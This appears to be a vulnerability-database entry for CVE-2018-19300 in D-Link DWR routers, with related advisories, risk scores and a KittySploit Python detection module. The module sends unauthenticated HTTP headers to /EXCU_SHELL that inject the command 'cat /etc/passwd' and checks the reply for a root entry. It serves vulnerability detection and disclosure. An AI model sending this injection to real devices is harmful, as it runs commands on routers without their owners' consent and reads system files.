D-Link DWR - EXCU_SHELL RCE Detection (CVE-2018-19300)
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| The vulnerability of the EXCU_SHELL component in D-Link’s microprogramming router software allows a hacker to execute arbitrary commands on a vulnerable device under the control of the root user. | 4 Jul 201900:00 | – | bdu_fstec | |
| Multiple D-Link Products Input Validation Error Vulnerability | 15 Apr 201900:00 | – | cnvd | |
| CVE-2018-19300 | 11 Apr 201915:22 | – | cve | |
| CVE-2018-19300 | 11 Apr 201915:22 | – | cvelist | |
| D-Link DWR - EXCU_SHELL Command Injection (CVE-2018-19300) | 10 Aug 202606:19 | – | kittysploit | |
| CVE-2018-19300 | 11 Apr 201916:29 | – | nvd | |
| D-Link DWR/DAP 'EXCU_SHELL' RCE Vulnerability - Active Check | 8 Nov 201800:00 | – | openvas | |
| CVE-2018-19300 | 11 Apr 201916:29 | – | osv | |
| Design/Logic Flaw | 11 Apr 201916:29 | – | prion | |
| PT-2019-2543 · D Link · Dap-1530 +7 | 11 Apr 201900:00 | – | ptsecurity |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link DWR EXCU_SHELL command injection (CVE-2018-19300)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'D-Link DWR - EXCU_SHELL RCE Detection (CVE-2018-19300)',
'description': (
'Detects CVE-2018-19300 by sending cmdnum/command1/confirm1 headers to /EXCU_SHELL '
'and checking for /etc/passwd contents (distinct header set from CVE-2023-26613).'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2018', 'dlink', 'router', 'iot', 'rce', 'cmdi', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'risk_signal', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['exploits/linux/http/dlink_cve_2018_19300_rce'],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2018-19300',
],
'cve': 'CVE-2018-19300',
}
def run(self):
probe = self.http_request(method='GET', path='/EXCU_SHELL', allow_redirects=False)
if not probe or probe.status_code == 404:
return False
r = self.http_request(
method='GET',
path='/EXCU_SHELL',
headers={'cmdnum': '1', 'command1': 'cat /etc/passwd', 'confirm1': 'n'},
allow_redirects=False,
)
if not r:
return False
if re.search(r'root:.*:0:0:', r.text or ''):
self.set_info(
severity='critical',
reason='D-Link EXCU_SHELL RCE (CVE-2018-19300)',
path='/EXCU_SHELL',
)
return True
return False
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10 Aug 2026 06:19Current
8.5High risk
Vulners AI Score8.5
CVSS 39.8
CVSS 210
EPSS0.74276